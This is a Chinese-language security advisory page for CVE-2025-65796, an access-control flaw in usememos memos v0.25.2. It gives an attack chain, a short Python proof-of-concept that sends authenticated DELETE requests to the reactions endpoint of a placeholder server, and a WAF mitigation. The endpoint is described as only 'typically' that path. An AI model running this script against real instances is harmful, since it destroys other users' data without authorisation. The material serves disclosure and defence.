IPBUF安全漏洞报告
English
CVE-2025-65796 CVSS 4.3 中危

CVE-2025-65796: usememos memos v0.25.2 访问控制错误导致低权限用户可删除他人反应

披露日期: 2025-12-08

漏洞信息

漏洞编号
CVE-2025-65796
漏洞类型
访问控制错误
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
usememos memos v0.25.2

相关标签

访问控制错误权限绕过usememosmemosIncorrect Access ControlCVE-2025-65796数据完整性破坏

漏洞概述

CVE-2025-65796是usememos memos v0.25.2版本中的一个访问控制错误(Incorrect Access Control)漏洞。该漏洞存在于反应(Reactions)管理功能中,由于服务器端未正确验证用户对特定资源的操作权限,导致具有低级别权限的认证用户可以任意删除其他用户在Memos上添加的反应。攻击者利用此漏洞可对其他用户的反应进行未授权删除操作,造成数据完整性破坏。CVSS 3.1评分4.3分(中等严重性),攻击向量为网络,可利用性较高,无需特殊用户交互即可实施攻击。该漏洞由usd AG的herolab安全实验室发现并报告,官方已在GitHub Pull Request #5217中提供了修复方案。

技术细节

该漏洞的根本原因在于usememos memos应用在处理反应删除请求时,未正确实现基于所有权的访问控制检查。具体而言,当用户尝试删除某个反应时,系统仅验证了请求者是否为已认证用户,但未验证该反应是否属于请求者所有。在v0.25.2版本中,反应删除API端点(通常为DELETE /api/v1/reactions/{reaction_id})缺少所有权验证逻辑,导致任何低权限认证用户只需知道反应ID,即可通过构造恶意请求删除其他用户的反应。攻击者利用此漏洞可遍历用户ID和反应ID,批量删除目标Memos上的所有反应,严重影响用户体验和应用数据的完整性。修复方案需要在服务器端添加反应所有者验证,确保只有反应创建者或具有相应权限的用户才能执行删除操作。

攻击链分析

STEP 1
步骤1
攻击者注册并登录usememos memos应用,获取低级别权限的认证令牌
STEP 2
步骤2
攻击者浏览目标用户的Memos,识别需要删除的反应及其对应的reaction_id
STEP 3
步骤3
攻击者构造DELETE请求到/api/v1/reactions/{reaction_id}端点,使用自己的认证令牌
STEP 4
步骤4
服务器由于缺少所有权验证,接受请求并执行删除操作
STEP 5
步骤5
目标用户的反应被成功删除,攻击者可重复此过程批量删除其他用户的反应

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-65796 PoC - Unauthorized Reaction Deletion # Affected: usememos memos v0.25.2 # Attack Type: Incorrect Access Control import requests import json TARGET_HOST = "http://target-memos-server.com" ATTACKER_TOKEN = "attacker_auth_token_here" TARGET_REACTION_ID = "12345" # Target reaction ID to delete def delete_reaction(reaction_id, auth_token): """Delete a reaction by ID without ownership verification""" url = f"{TARGET_HOST}/api/v1/reactions/{reaction_id}" headers = { "Authorization": f"Bearer {auth_token}", "Content-Type": "application/json" } response = requests.delete(url, headers=headers) return response.status_code, response.text def exploit(): """Exploit the access control vulnerability""" print(f"[*] Targeting reaction ID: {TARGET_REACTION_ID}") print(f"[*] Attacker token: {ATTACKER_TOKEN[:20]}...") status, response = delete_reaction(TARGET_REACTION_ID, ATTACKER_TOKEN) if status == 200 or status == 204: print(f"[+] SUCCESS: Reaction {TARGET_REACTION_ID} deleted!") print(f"[+] Response: {response}") elif status == 401: print(f"[-] FAILED: Authentication required") elif status == 403: print(f"[-] FAILED: Access denied (vulnerability may be patched)") else: print(f"[-] FAILED: Status {status}, Response: {response}") if __name__ == "__main__": exploit()

影响范围

usememos memos v0.25.2

防御指南

临时缓解措施
如果无法立即升级,可通过配置Web应用防火墙(WAF)规则限制DELETE请求到/api/v1/reactions/*端点,临时阻止未授权的反应删除操作。同时应限制API访问频率,防止攻击者自动化批量删除反应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表